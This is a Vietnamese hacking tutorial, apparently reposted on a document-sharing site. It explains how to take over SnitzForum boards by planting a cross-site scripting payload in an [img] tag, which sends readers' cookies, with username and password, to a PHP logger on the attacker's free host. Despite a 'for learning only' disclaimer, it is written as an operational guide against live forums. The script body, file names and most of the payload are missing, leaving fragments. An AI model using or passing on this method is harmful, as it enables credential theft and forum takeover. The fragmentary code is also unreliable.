TAILIEUCHUNG - Hack ForumSnitz

SnitzForum có một lỗi khiến cho hacker có thể chạy được JavaScript để lấy cookie. Trong cookie này chứa username và password. Nếu ta lấy được username/pass của admin thì có thể kiểm soát được hoàn toàn forum đó. Sau đây là các bước để hack các diễn đàn dùng SnitzForum | Hack ForumSnitz : trang này đã được đọc lần Bài này được viết chỉ với mục đích học tập. Tôi sẽ không chịu bất kì trách nhiệm nào nếu các bạn dùng nó vào mục đích phá hoại. SnitzForum có một lỗi khiến cho hacker có thể chạy được JavaScript để lấy cookie. Trong cookie này chứa username và password. Nếu ta lấy được username/pass của admin thì có thể kiểm soát được hoàn toàn forum đó. Sau đây là các bước để hack các diễn đàn dùng SnitzForum 1. Thu thập thông tin: tìm hiểu xem admin ở đó là ai, những chủ đề gần nhất mà hắn đã tham gia 2. Đăng kí 1 free host có hỗ trợ PHP, ví dụ như , nếu có rồi thì thôi 3. Soạn thảo và upload 1 file có nội dung như sau (trong bài này đặt tên là ): #!/usr/bin/php 4. upload một file ảnh hợp lệ nào đó (trong bài này là ) lên cùng thư mục với . File ảnh này dùng để trả về sau khi script chạy. Nên dùng ảnh nào có kích thước càng nhỏ càng tốt, ví dụ 1x1 pixel chẳng hạn. 5. Gửi vào các chủ đề mà admin tham gia nội dung sau: any thing you want [img]"onerror="();[/img] 6. Bất kì ai vào đọc topic đó sẽ bị chôm cookie. Các bạn chỉ việc ngồi đợi, khỏi phải làm gì hết. Muốn xem kết quả thì chỉ việc mở file ở cùng thư mục với file là xong. Kĩ thuật này có thể áp dụng vào SnitzForum bản mới nhất.

• An ninh - Bảo mật
• hack account
• bảo mật máy tính
• tài liệu về hack
• quy tắc bảo vệ máy tính
• Hacking cổ điển
• phòng chóng hacker